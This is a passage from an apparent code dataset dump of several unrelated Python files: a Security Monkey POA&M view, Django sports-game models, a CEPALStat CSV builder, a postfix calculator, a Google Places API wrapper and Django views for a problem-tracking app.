\"total\": 1,\n \"page\": 1,\n \"count\" 1,\n \"auth\": {\n \"authenticated\": true,\n \"user\": \"user@example.com\"\n }\n }\n\n :statuscode 200: no error\n :statuscode 401: Authentication Error. Please Login.\n \"\"\"\n\n # SQL Query base for implementation\n # select\n # distinct concat('sa_poam-', ia.id) as \"poam_id\",\n # i.id as \"item_id\",\n # acc.name as \"account\",\n # t.name as \"control\",\n # ia.issue as \"weakness_name\",\n # concat(\n # ia.notes, ', ', i.region, ', ', i.name\n # ) as \"weakness_description\",\n # ia.score,\n # ir.create_date,\n # ia.action_instructions as \"poam_comments\"\n # from\n # item i\n # inner join itemaudit ia ON i.id = ia.item_id\n # and (\n # (i.account_id in (select a.id from account a where a.\"name\" in (p_account_id)) )\n # or (p_account_id is null)\n # )\n # inner join technology t ON i.tech_id = t.id\n # inner join (\n # select\n # item_id,\n # min(date_created) as \"create_date\"\n # from\n # itemrevision\n # group by\n # item_id\n # ) ir on i.id = ir.item_id\n # inner join account acc ON i.account_id = acc.id\n # where\n # ia.justified = FALSE\n # and ia.fixed = FALSE\n # and i.arn is not null\n # and ia.score > 1\n # order by\n # ir.create_date asc,\n # ia.score desc\n\n self.reqparse.add_argument('accounts', type=str, default=None, location='args')\n self.reqparse.add_argument('count', type=int, default=10, location='args')\n self.reqparse.add_argument('page', type=int, default=1, location='args')\n self.reqparse.add_argument('sev', type=str, default=None, location='args')\n self.reqparse.add_argument('tech', type=str, default=None, location='args')\n\n args = self.reqparse.parse_args()\n page = args.pop('page', None)\n count = args.pop('count', None)\n for k, v in args.items():\n if not v:\n del args[k]\n\n # Read more about filtering:\n # https://docs.sqlalchemy.org/en/latest/orm/query.html\n query = Item.query.join((ItemAudit, Item.id == ItemAudit.item_id)) \\\n .options(load_only(Item.id)) \\\n .distinct()\n query = query.join((Technology, Technology.id == Item.tech_id))\n\n # Subquery on ItemRevision Table\n itemrevision_subquery = db.session \\\n .query(ItemRevision, func.min(ItemRevision.date_created).label('create_date')) \\\n .options(load_only(\"item_id\")) \\\n .group_by(ItemRevision.item_id) \\\n .subquery()\n\n query = query.join(itemrevision_subquery, Item.id == itemrevision_subquery.c.item_id)\n query = query.join((Account, Account.id == Item.account_id))\n\n # Add Select Columns\n query = query \\\n .add_column(func.concat('sa_poam-', ItemAudit.id).label('poam_id')) \\\n .add_column(Account.name.label('account')) \\\n .add_column(Technology.name.label('control')) \\\n .add_column(ItemAudit.issue.label('weakness_name')) \\\n .add_column(func.concat(ItemAudit.notes, ',', Item.region, ',', Item.name).label('weakness_description')) \\\n .add_column(ItemAudit.score.label('score')) \\\n .add_column(itemrevision_subquery.c.create_date.label('create_date')) \\\n .add_column(ItemAudit.action_instructions.label('poam_comments'))\n\n # Filters\n query = query.filter(ItemAudit.justified == false())\n query = query.filter(ItemAudit.fixed == false())\n query = query.filter(ItemAudit.score > 1)\n query = query.filter(Item.arn != sqlnull())\n\n if 'accounts' in args:\n accounts = args['accounts'].split(',')\n query = query.filter(Account.name.in_(accounts))\n\n if 'sev' in args:\n sev = args['sev'].lower()\n if sev == 'low':\n query = query.filter(ItemAudit.score < 5)\n elif sev == 'medium':\n query = query.filter(between(ItemAudit.score, 5, 10))\n elif sev == 'high':\n query = query.filter(ItemAudit.score > 10)\n\n if 'tech' in args:\n tech = args['tech'].split(',')\n query = query.join((Technology, Technology.id == Item.tech_id))\n query = query.filter(Technology.name.in_(tech))\n\n\n\n # Order By\n query = query.order_by(itemrevision_subquery.c.create_date)\n query = query.order_by(ItemAudit.score.desc())\n\n # Eager load the joins\n query = query.options(joinedload('account'))\n query = query.options(joinedload('technology'))\n\n # Paginate\n items = query.paginate(page, count)\n\n marshaled_dict = {\n 'page': items.page,\n 'total': items.total,\n 'auth': self.auth_dict\n }\n\n marshaled_items = []\n for row in items.items:\n row_dict = dict(row.__dict__)\n marshaled_items.append({\n 'poam_id': row_dict['poam_id'],\n 'item_id': row_dict['Item'].id,\n 'account': row_dict['account'],\n 'control': row_dict['control'],\n 'weakness_name': row_dict['weakness_name'],\n 'weakness_description': row_dict['weakness_description'],\n 'score': row_dict['score'],\n 'sev': sev2score(row_dict['score']),\n 'create_date': str(row_dict['create_date']),\n 'poam_comments': row_dict['poam_comments']\n })\n\n marshaled_dict['items'] = marshaled_items\n marshaled_dict['count'] = len(marshaled_items)\n\n return marshaled_dict, 200\n","sub_path":"security_monkey/views/poam.py","file_name":"poam.py","file_ext":"py","file_size_in_byte":8283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"598156005","text":"# Authored by Jaison, minor edits by Lizzie\nfrom django.db import models\nimport datetime\nfrom users.models import UserProfile, FriendRequest\nfrom sport.models import Sport\n\nSUCCESS = 1\nINVALID_CREATOR = -1\nINVALID_NEW_PLAYER = -2\nGAME_DNE = -3\nINVALID_INVITER = -4\nINVALID_INVITEE = -5\nINVALID_PLAYER = -6\nINVALID_NEW_TIME = -7\nINVALID_LOCATION = -8\n\nclass Game(models.Model):\n\tMAX_NAME_LENGTH = 100\n\tMAX_LOCATION_LENGTH = 2000\n\n\tname = models.CharField(max_length=MAX_NAME_LENGTH)\n\thost = models.ForeignKey(UserProfile, related_name='gameHost', default=None)\n\tsport = models.ForeignKey(Sport, related_name='gamelist', default=None)\n\ttime = models.DateTimeField(default=datetime.datetime.now)\n\tplayers = models.ManyToManyField(UserProfile, related_name = 'gamePlayers', default=None)\n\tlocation = models.CharField(max_length = MAX_LOCATION_LENGTH)\n\n\t#players_request = models.ManyToManyField(UserProfile, related_name = 'gameInvites', default=None)\n\t\n\n\tdef createGame(self, name, host, sport, time, location):\n\t\ttry:\n\t\t\thostObject = UserProfile.objects.get(username = host)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn (INVALID_CREATOR, None)\n\t\ttry:\n\t\t\tsport_obj = Sport.objects.get(name = sport)\n\t\texcept Sport.DoesNotExist:\n\t\t\tsport_obj = Sport.objects.create(name = sport)\n\t\ttime_obj = datetime.datetime.strptime(time, \"%m/%d/%Y %I:%M %p\")\n\t\tnew_game = Game(name=name, host=hostObject, sport=sport_obj, time = time_obj, location=location)\n\t\tnew_game.save()\n\t\tnew_game.players.add(hostObject)\n\t\tUserProfile().addActivity(host, \"creat\", new_game) #took off \"e\" in \"create\" so it says \"created\" instead of \"createed\" on newsfeed\n\t\treturn (SUCCESS, new_game.id)\n\n\n\tdef addPlayer(self, game, newPlayer):\n\t\ttry:\n\t\t\tnp = UserProfile.objects.get(username = newPlayer)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn INVALID_NEW_PLAYER\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn GAME_DNE\n\t\tgame_obj.players.add(np)\n\t\treturn SUCCESS\n\n\tdef invitePlayer(self, game, inviter, invitee):\n\t\ttry:\n\t\t\tinviter_obj = UserProfile.objects.get(username = inviter)\n\t\texcept UserProfile.DoesNotExist as e:\n\t\t\treturn INVALID_INVITER\n\n\t\ttry:\n\t\t\tinvitee_obj = UserProfile.objects.get(username = invitee)\n\t\texcept UserProfile.DoesNotExist as e:\n\t\t\treturn INVALID_INVITEE\n\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn GAME_DNE\n\n\t\ttry:\n\t\t\tgame_obj.players.get(username = inviter)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn INVALID_INVITER\n\n\t\texist=game_obj.players.filter(username=invitee)\n\n\t\tc=GameRequest.objects.filter(inviter= inviter, invitee=invitee, gameID=game)\n\t\tif c.count()==0 and exist.count()==0:\n\t\t\tnewreq=GameRequest.objects.create(inviter=inviter, invitee=invitee, gameID=game, game_obj=game_obj)\n\t\t\tnewreq.save()\n\t\t\treturn SUCCESS\n\t\telse:\n\t\t\treturn SUCCESS\n\n\tdef acceptinvite(self, game, inviter, invitee):\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn (GAME_DNE, game, inviter)\n\n\t\tif GameRequest.objects.filter(inviter = inviter, invitee=invitee, gameID=game)!=0:\n\t\t\t#game_obj.join(invitee, game)\n\t\t\treq = GameRequest.objects.get(inviter = inviter, invitee=invitee, gameID=game)\n\t\t\treq.delete()\n\t\t\treturn (SUCCESS, game, inviter)\n\t\telse:\n\t\t\treturn (INVALID_INVITEE, game, inviter)\n\n\tdef rejectinvite(self, game, inviter, invitee):\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn (GAME_DNE, game, inviter)\n\n\t\tif GameRequest.objects.filter(inviter = inviter, invitee=invitee, gameID=game).count()!=0:\n\t\t\treq = GameRequest.objects.get(inviter = inviter, invitee=invitee, gameID=game)\n\t\t\treq.delete()\n\t\t\treturn (SUCCESS, game, inviter)\n\t\telse:\n\t\t\treturn (INVALID_INVITEE, game, inviter)\n\t\t\t#return (INVALID_INVITEE, game, inviter)\n\n\tdef removePlayer(self, game, player):\n\t\ttry:\n\t\t\tp = UserProfile.objects.get(username = player)\n\t\texcept UserProfile.DoesNotExist as e:\n\t\t\treturn INVALID_PLAYER\n\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn GAME_DNE\n\n\t\ttry:\n\t\t\tgame_obj.players.get(username = player)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn INVALID_PLAYER\n\n\t\tgame_obj.players.remove(p)\n\t\treturn SUCCESS\n\n\tdef gameTimeChange(self, game, newTime):\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn GAME_DNE\n\t\ttime_obj = datetime.datetime.strptime(newTime, \"%m/%d/%Y %I:%M %p\")\n\n\t\tgame_obj.time = time_obj\n\n\t\tgame_obj.save()\n\t\treturn SUCCESS\n\n\tdef gameLocationChange(self, gameID, newLocation):\n\n\t\tif newLocation == \"\":\n\t\t\treturn INVALID_LOCATION\n\n\t\ttry:\n\t\t\tgame_obj = Game.objects.get(id = gameID)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn GAME_DNE\n\t\tgame_obj.location = newLocation\n\t\tgame_obj.save()\n\n\t\treturn SUCCESS\n\n\tdef joinGame(self, username, gameID):\n\t\ttry:\n\t\t\tgame_obj=Game.objects.get(id=gameID)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn (UserProfile.GAME_DNE, None)\n\n\t\trev = game_obj.addPlayer(gameID, username)\n\t\tif rev < 0:\n\t\t\treturn (UserProfile.INVALID_USERNAME, None)\n\t\tUserProfile().addActivity(username, \"join\", game_obj)\n\t\treturn (UserProfile.SUCCESS, game_obj.id)\n\n\tdef unjoinGame(self, username, game):\n\t\ttry:\n\t\t\tgame_obj=Game.objects.get(id=game)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn UserProfile.GAME_DNE\n\n\t\trev = game_obj.removePlayer(game, username)\n\n\t\tif rev < 0:\n\t\t\treturn UserProfile.INVALID_USERNAME\n\t\treturn UserProfile.SUCCESS\n\n\tdef changeHost(self, username, newhost, gameID):\n\t\ttry:\n\t\t\tgame_obj=Game.objects.get(id=gameID)\n\t\texcept Game.DoesNotExist:\n\t\t\treturn UserProfile.GAME_DNE\n\n\t\ttry:\n\t\t\thost_obj=UserProfile.objects.get(username = newhost)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn INVALID_PLAYER\n\n\t\ttry:\n\t\t\tuser_obj=UserProfile.objects.get(username = username)\n\t\texcept UserProfile.DoesNotExist:\n\t\t\treturn INVALID_PLAYER\n\n\n\t\tif user_obj==game_obj.host and user_obj!=host_obj:\n\t\t\tgame_obj.host = host_obj\n\t\t\tgame_obj.save()\n\t\t\treturn SUCCESS\n\t\telse:\n\t\t\treturn INVALID_PLAYER\n\n\tdef TESTAPI_reset(self):\n\t\t\"\"\"\n\t\tReset all user tables.\n\t\t\"\"\"\n\t\t#UserProfile.objects.all().delete()\n\t\t#Game.objects.all().delete()\n\t\tGameRequest.objects.all().delete()\n\t\t#Sport.objects.all().delete()\n\t\treturn SUCCESS\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\nclass GameRequest(models.Model):\n\tinviter= models.CharField(max_length=UserProfile.MAX_USERNAME_LENGTH)\n\tinvitee= models.CharField(max_length=UserProfile.MAX_USERNAME_LENGTH)\n\tgameID= models.IntegerField()\n\tgame_obj= models.ForeignKey(Game, related_name='gamereq', default=None)\n\n\t#objects=models.Manager()\n\tdef invitesToUser(self, username):\n\t\ttry:\n\t\t\treq = GameRequest.objects.filter(invitee=username)\n\t\texcept GameRequest.DoesNotExist as e:\n\t\t\treq = None\n\t\treturn req","sub_path":"game/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"406275049","text":"# -*- coding: utf-8 -*-\n# 3.0\n\n# \n\n# Generation 2 CSV file builder library for CEPALStat\n\n# \n\n# This script creates csv files out of CEPALStat data, in a format suitable for subsequent loading to the Statmart database. Each country with an available time series will have two csv files representing their data. The first contains the time series data, and the second will contain metadata about the time series. Additionally, the file \"\\_PREFIX.csv\" will be created to list all the created files.\n\n# \n\n# A full set of stats for an indicator is stored in a file called XXX_all.csv, where XXX is the ID of the indicator, as found in CEPALStat\n\n# \n\nimport os, imp, sys, traceback\nimport pandas as pd\n\nfrom settings_statmart import *\nimport utils_statmart as us\nimport gen1_cepalstat\n\n# \n\n\n# \n\ndef parse_meta_file(metafile):\n metamap = {}\n \n mf = pd.read_csv(metafile, encoding=\"utf-8\")\n source = mf.ix[mf[\"Key\"] == \"source\"][\"Value\"]\n if len(source) > 0:\n metamap[\"source\"] = clip_period(source[source.index[0]].strip())\n \n indicator = mf.loc[mf[\"Key\"] == \"indicator\"][\"Value\"]\n metamap[\"indicator\"] = clip_period(indicator[indicator.index[0]].strip())\n \n definition = mf.loc[mf[\"Key\"] == \"definition\"][\"Value\"]\n if len(\"definition\") > 0:\n metamap[\"definition\"] = clip_period(definition[definition.index[0]].strip())\n \n nf = mf.loc[mf[\"Key\"] == \"note\"][[\"ID\",\"Value\"]]\n nf = nf.set_index([\"ID\"])\n\n for index in us.get_index_set(nf):\n note = nf.ix[index][\"Value\"].strip()\n note = clip_period(note)\n metamap[str(index)] = note\n return metamap\n\ndef get_notes(notes, mmap):\n if notes == \"nan\":\n return \"\"\n notes = notes.split(\",\")\n mynotes = []\n for note in notes:\n if note in mmap:\n mynotes.append(note)\n return \"|\".join(map(lambda x : mmap[str(x)], mynotes))\n\ndef clip_period(str):\n if str[-1] == \".\":\n str = str[0:-1] \n return str\n\n# \n\ndef build_files(df, config):\n filelist = []\n countrylist = []\n for iso3 in us.get_index_set(df):\n try:\n idf = df.ix[iso3]\n if type(idf) == pd.Series: #idf a Series if there is only one element in it, but we want a DataFrame always\n idf = pd.DataFrame([idf])\n idf = idf[[\"Year\",\"Value\",\"Source\",\"Notes\"]]\n idf.columns = [\"year\",\"value\",\"source\",\"note\"]\n mult = config[\"multiplier\"]\n if mult:\n if (mult <= 1 and mult >= -1) or not type(mult) is int:\n idf[\"value\"] = idf[\"value\"].apply(lambda x : x * mult)\n else:\n idf[\"value\"] = idf[\"value\"].apply(lambda x : int(x * mult)).astype(object)\n idf[\"source\"] = idf[\"source\"].apply(lambda x : config[\"source\"])\n idf[\"note\"] = idf[\"note\"].apply(lambda x : get_notes(str(x), config))\n filestem = config[\"prefix\"] + \"_\" + iso3.lower() + \"_\" + config[\"suffix\"]\n filename = filestem + \".csv\"\n filepath = config[\"gen_2_dir\"] + filename\n us.log(filepath)\n idf.to_csv(filepath, encoding=\"utf8\", index=False)\n \n country = us.get_country_by_iso3(iso3) \n meta = [(\"name\", \"%s - %s [CEPALStat]\" % (country, config[\"indicator\"])),\n (\"originalsource\", config[\"source\"]),\n (\"proximatesource\", \"CEPALStat\"),\n (\"dataset\", config[\"indicator\"] + \" [\" + config[\"indicator_id\"] + \"]\"),\n (\"description\", config[\"definition\"]),\n (\"category\", config[\"indicator_category\"]),\n (\"type\", config[\"indicator_type\"]),\n (\"file\", filename),\n (\"filehash\", us.githash(filepath)),\n (\"columns\", \"year,value,source,notes\")\n ]\n \n metafile = config[\"gen_2_dir\"] + filestem + \"_meta.csv\" \n pd.DataFrame(meta,columns = [\"key\",\"value\"]).to_csv(metafile, encoding=\"utf8\", float_format='%.3f',index=False)\n filelist.append([filestem])\n countrylist.append(country)\n except Exception as strerror:\n us.log(\"ERROR: Failed to build data for %s\" % iso3)\n us.log(sys.exc_info())\n traceback.print_tb(sys.exc_info()[2])\n \n fldf = pd.DataFrame(filelist, index=countrylist).sort_index()\n fldf.to_csv(config[\"gen_2_dir\"] + \"_\" + config[\"prefix\"] + \".csv\", encoding=\"utf8\", float_format='%.1f', index=False, header=False)\n return fldf\n\n# \n\n# This is what gets called by build scripts. The config object should contain all required variables; it can be generated using utils_statmart.build_config().\n\n# \n\ndef build(config):\n statfile = config[\"gen_1_dir\"] + config[\"indicator_id\"] + \"_all.csv\"\n df = pd.read_csv(statfile, encoding=\"utf-8\", index_col=[\"ISO3\"], dtype={'Notes':'object'} )\n metafile = config[\"gen_1_dir\"] + config[\"indicator_id\"] + \"_meta.csv\"\n metamap = parse_meta_file(metafile)\n metamap.update(config) # this enables customizations in config to override entries in the meta file\n report = build_files(df, metamap)\n us.log(\"%i series saved to %s\" % (len(report), config[\"gen_2_dir\"]))\n return report\n \n\n","sub_path":"scripts/gen2_cepalstat.py","file_name":"gen2_cepalstat.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"69956076","text":"# 중위표기식 -> 후위표기식\ndef ISP(char): # in-stack priority\n lst = ['(', '+-', '*/', 'blank']\n for i in lst:\n if char in i:\n return lst.index(i)\n\ndef ICP(char): # in-coming priority\n lst = ['blank', '+-', '*/', '(']\n for i in lst:\n if char in i:\n return lst.index(i)\n\ndef Postfix(expression):\n operands = '0123456789'\n result = ''\n stack = []\n\n for i in expression:\n if i in operands: # 피연산자\n result += i\n else: # 연산자와 괄호\n if i == ')': # 연산자와 괄호 중 ')'\n if not stack:\n return 'Error'\n else:\n top = stack.pop()\n while top != '(':\n result += top\n if stack: top = stack.pop()\n if top != '(' and not stack:\n return 'Error'\n else: # 연산자와 괄호 중 ')'을 제외한 것들\n if not stack:\n stack.append(i)\n elif ISP(stack[-1]) <= ICP(i):\n if ISP(stack[-1]) == ICP(i):\n result += stack.pop()\n stack.append(i)\n else:\n result += i\n\n if stack: return 'Error'\n return result\n\ndef add(a, b):\n return a + b\ndef subtract(a, b):\n return a - b\ndef multiply(a, b):\n return a * b\ndef divide(a, b):\n if b: return a // b\n\ndef Cal_Postfix(expression):\n stack = []\n operands = '0123456789'\n\n if expression == 'Error': return '잘못된 입력입니다.'\n else:\n for i in expression:\n if i in operands:\n stack.append(int(i))\n else:\n right = stack.pop()\n left = stack.pop()\n temp = 0\n if i == '+': temp = add(left, right)\n elif i == '-': temp = subtract(left, right)\n elif i == '*': temp = multiply(left, right)\n else: temp = divide(left, right)\n stack.append(temp)\n return stack.pop()\n\nexpression = '(6+5*(2-8)/2)'\nexpression2 = '(6+5*(2-8))/2)'\nexpression3 = ')(6+5*(2-8)/2)'\nexpression4 = '((6+5*(2-8)/2)'\n\nprint(Postfix(expression))\nprint(Postfix(expression2))\nprint(Postfix(expression3))\nprint(Postfix(expression4))\nprint()\nprint(Cal_Postfix(Postfix(expression)))\nprint(Cal_Postfix(Postfix(expression2)))","sub_path":"python/swea/intermediate/Stack2_Calculator.py","file_name":"Stack2_Calculator.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32453833","text":"import requests\nimport errorhandling as err\n\ndef search_place(key,query):\n \n url_search =\"https://maps.googleapis.com/maps/api/place/textsearch/json\"\n search = {\"key\":key,\"query\":query}\n search_req = requests.get(url_search,params=search)\n print(\"status code search:\",search_req.status_code)\n\n search_json = search_req.json()\n \n err.error_handling(search_json[\"status\"])\n place_id = search_json[\"results\"][0][\"place_id\"]\n return place_id\n\n\ndef search_details(key,place_id):\n \n url_detail = \"https://maps.googleapis.com/maps/api/place/details/json\"\n details = {\"key\":key,\"place_id\":place_id}\n detail_req = requests.get(url_detail,params=details)\n\n print(\"status code details:\",detail_req.status_code)\n detail_json = detail_req.json()\n err.error_handling(detail_json[\"status\"])\n\n return detail_json\n \n\ndef searchapi(key,query,param='search'):\n try: \n place_id= search_place(key,query)\n details= search_details(key,place_id)\n if param=='search':\n return details\n \n elif param=='url':\n return details[\"result\"][\"url\"]\n \n elif param=='address':\n return details[\"result\"][\"adr_address\"]\n\n elif param=='geometry':\n return details[\"result\"][\"geometry\"]\n\n \n except err.ZeroResultError as e:\n message = {\n 'status_code':404,\n 'message':e.msg,\n 'status':e.status, 'html_attributions':[]\n }\n return message\n\n except err.OverQueryError as e:\n message = {\n 'status_code':429, \n 'message':e.msg,\n 'status':e.status, 'html_attributions':[]\n }\n return message\n\n except err.RequestDeniedError as e:\n message = {\n 'status_code':401, \n 'message':e.msg,\n 'status':e.status,'html_attributions':[]\n }\n return message\n\n except err.InvalidRequestError as e:\n message = {\n 'status_code':400, \n 'message':e.msg,\n 'status':e.status, 'html_attributions':[]\n }\n return message\n \n except err.UnknownError as e:\n message = {\n 'status_code':400, \n 'message':e.msg,\n 'status':e.status, 'html_attributions':[]\n }\n return message\n\n except err.NotFoundError as e:\n message = {\n 'status_code':404, \n 'message':e.msg,\n 'status':e.status, 'html_attributions':[]\n }\n return message\n","sub_path":"SearchPlaceDetails/searchAPI.py","file_name":"searchAPI.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"351254620","text":"from django.shortcuts import render, render_to_response, redirect\nfrom django.http import HttpResponse\nfrom problem.models import Problem, ParamResource, TypeParam, ResourceScript, Logical, Resource, LogicalClass, Process, ConnectShape, ClassResource, Script, ProcessScript, ClassProcess, Product, ProductScript, Event, EventScript, User\nfrom problem.forms import addProblem\nfrom django.core.context_processors import csrf\nfrom django.views.decorators.csrf import csrf_protect\nfrom django.contrib.auth.models import User\nimport simplejson\n\n# Create your views here.\ndef all(request):\n arg = Problem.objects.all()\n return render_to_response('all.html', {'arg': arg})\n\n\ndef add(request):\n args = {}\n args.update(csrf(request))\n args['form'] = addProblem()\n if request.POST:\n form = addProblem(request.POST)\n args['form'] = form\n if form.is_valid():\n form.save()\n return HttpResponse('vse OK!')\n else:\n return render_to_response('add.html', args)\n return render_to_response('add.html', args)\n\ndef monitoring(request):\n problems = Problem.objects.all()\n return render_to_response('monitoring.html',{'problems': problems})\n\ndef getprobleminfo(request,problem_id=1):\n try:\n arg = Problem.objects.get(id=problem_id)\n except:\n arg = {}\n return render_to_response('problem.html',{'arg': arg})\n\ndef getproblem(request,problem_id=1):\n if request.is_ajax():\n script = Script.objects.get(problem_id=problem_id)\n functions = ProcessScript.objects.filter(script=script)\n return HttpResponse(simplejson.dumps( [{'process': op.process.name} for op in functions] ),\n content_type=\"application/json\")\n args = []\n return render_to_response('get.html',{'args': args})\n\ndef getproblema(request, problem_id=1):\n problem = Problem.objects.get(id=problem_id)\n script = Script.objects.get(problem=problem)\n data = ProcessScript.objects.filter(script=script)\n data2 = ConnectShape.objects.filter(script=script)\n data3 = ProductScript.objects.filter(script=script)\n data4 = EventScript.objects.filter(script=script)\n data5 = Logical.objects.filter(script=script)\n data6 = ResourceScript.objects.filter(script=script)\n return HttpResponse(simplejson.dumps( {\"functions\":[{'xUser': op.xUser,\n 'idProcess': op.idScriptProcess,\n 'idUser': op.idScriptMan,\n 'yUser': op.yUser,\n 'xProcess': op.xProcess,\n 'yProcess': op.yProcess,\n 'user': op.user.username,\n 'datefinish': op.finish,\n 'datestart': op.start,\n 'url': op.url,\n 'name': op.process.name,\n 'class': op.process.classProcess.name,\n 'status': op.status} for op in data],\n \"connect\":[{'from': op.idFrom,\n 'to': op.idTo} for op in data2],\n \"products\":[{'id': op.idProduct,\n 'name': op.product.name,\n 'x': op.x,\n 'y': op.y,\n 'class': op.product.classProduct.name} for op in data3],\n \"resource\":[{'id': op.idResource,\n 'name': op.resource.name,\n 'x': op.x,\n 'y': op.y,\n 'class': op.resource.classResource.name} for op in data6],\n \"events\":[{'id': op.idEvent,\n 'name': op.event.name,\n 'x': op.x,\n 'y': op.y} for op in data4],\n \"logicals\":[{'id': op.idLogical,\n 'name': op.classLogical.name,\n 'x': op.x,\n 'y': op.y} for op in data5]} ),\n content_type=\"application/json\")\n\ndef adminproblem(request,problem_id=1):\n if request.is_ajax():\n return HttpResponse('lol')\n else:\n try:\n arg = Problem.objects.get(id=problem_id)\n except:\n arg = {}\n return render_to_response('admin.html', {'arg': arg})\n\ndef getFunctionList(request): #получить список классов функций\n if request.is_ajax():\n classProduct = request.GET.get('classProduct')\n data = ClassProcess.objects.all()\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getProcessList(request):\n if request.is_ajax():\n if request.GET.get('class'):\n cls = ClassProcess.objects.get(name=request.GET.get('class'))\n data = Process.objects.filter(classProcess=cls)\n else:\n cls = ClassProcess.objects.all()\n data = Process.objects.filter(classProcess=cls[0])\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getEventList(request):\n if request.is_ajax():\n data = Event.objects.all()\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getParamResource(request):\n if request.is_ajax():\n type = TypeParam.objects.get(name=request.GET.get('class'))\n resource = Resource.objects.get(name=request.GET.get('name'))\n data = ParamResource.objects.filter(resource=resource, type=type)\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getResource(request):\n if request.is_ajax():\n if request.GET.get('class'):\n cls = ClassResource.objects.get(name=request.GET.get('class'))\n data = Resource.objects.filter(classResource=cls)\n else:\n cls = ClassResource.objects.all()\n data = Resource.objects.filter(classResource=cls[0])\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getResourceList(request): #получить список классов ресурсов\\продуктов\n if request.is_ajax():\n data = ClassResource.objects.all()\n return HttpResponse(simplejson.dumps( [{'name': op.name} for op in data] ),\n content_type=\"application/json\")\n\ndef getUserList(request): #получить список исполнителей\n if request.is_ajax():\n data = User.objects.all()\n return HttpResponse(simplejson.dumps( [{'name': op.username} for op in data] ),\n content_type=\"application/json\")\n\ndef addNewScript(request, problem_id=1):\n if request.is_ajax():\n data = request.GET.get('json')\n data = simplejson.loads(data)\n key = 0\n try: #удаляем предыдущий сценарий для проблемы и создаем новый\n script = Script.objects.get(problem_id=problem_id)\n script.delete()\n script = Script(problem_id=problem_id)\n except: #создаем новый сценарий\n script = Script(problem_id=problem_id)\n script.save()\n while key < len(data[\"functions\"]): #записываем множество функций\n try:\n process = Process.objects.get(name=data[\"functions\"][key][\"name\"])\n except:\n classProcess = ClassProcess.objects.get(id=6)\n #classProcess = ClassProcess.objects.get(name=data[\"functions\"][key][\"class\"])\n process = Process(name=data[\"functions\"][key][\"name\"],\n classProcess=classProcess)\n process.save()\n user = User.objects.get(username=data[\"functions\"][key][\"user\"])\n connect = ProcessScript(\n user=user,\n script=script,\n process=process,\n url=data[\"functions\"][key][\"url\"],\n start=data[\"functions\"][key][\"start\"],\n finish=data[\"functions\"][key][\"finish\"],\n xProcess=data[\"functions\"][key][\"position\"][\"x\"],\n yProcess=data[\"functions\"][key][\"position\"][\"y\"],\n xUser=data[\"functions\"][key][\"positionUser\"][\"x\"],\n yUser=data[\"functions\"][key][\"positionUser\"][\"y\"],\n idScriptProcess=data[\"functions\"][key][\"idProcess\"],\n status=data[\"functions\"][key][\"status\"],\n idScriptMan=data[\"functions\"][key][\"idUser\"]);\n connect.save()\n key = key + 1\n key = 0\n while key < len(data[\"products\"]): #создаем множество продуктов\n try:\n product = Process.objects.get(name=data[\"products\"][key][\"name\"])\n except:\n classProduct = ClassResource.objects.get(name=data[\"products\"][key][\"class\"])\n product = Product(name=data[\"products\"][key][\"name\"],\n classProduct=classProduct)\n product.save()\n connect = ProductScript(product=product, script=script,\n x=data[\"products\"][key][\"position\"][\"x\"],\n y=data[\"products\"][key][\"position\"][\"y\"],\n idProduct=data[\"products\"][key][\"idProduct\"])\n connect.save()\n key = key + 1\n key = 0\n while key < len(data[\"resource\"]): #создаем множество ресурсов\n try:\n resource = Resource.objects.get(name=data[\"resource\"][key][\"name\"])\n except:\n classResource = ClassResource.objects.get(name=data[\"resource\"][key][\"class\"])\n resource = Resource(name=data[\"resource\"][key][\"name\"],\n classResource=classResource)\n resource.save()\n connect = ResourceScript(resource=resource, script=script,\n x=data[\"resource\"][key][\"position\"][\"x\"],\n y=data[\"resource\"][key][\"position\"][\"y\"],\n idResource=data[\"resource\"][key][\"idResource\"])\n connect.save()\n key = key + 1\n key = 0\n while key < len(data[\"events\"]): #создаем множество событий\n try:\n event = Event.objects.get(name=data[\"events\"][key][\"name\"])\n except:\n event = Event(name=data[\"events\"][key][\"name\"])\n event.save()\n eventScript = EventScript(event=event,\n script=script,\n x=data[\"events\"][key][\"position\"][\"x\"],\n y=data[\"events\"][key][\"position\"][\"y\"],\n 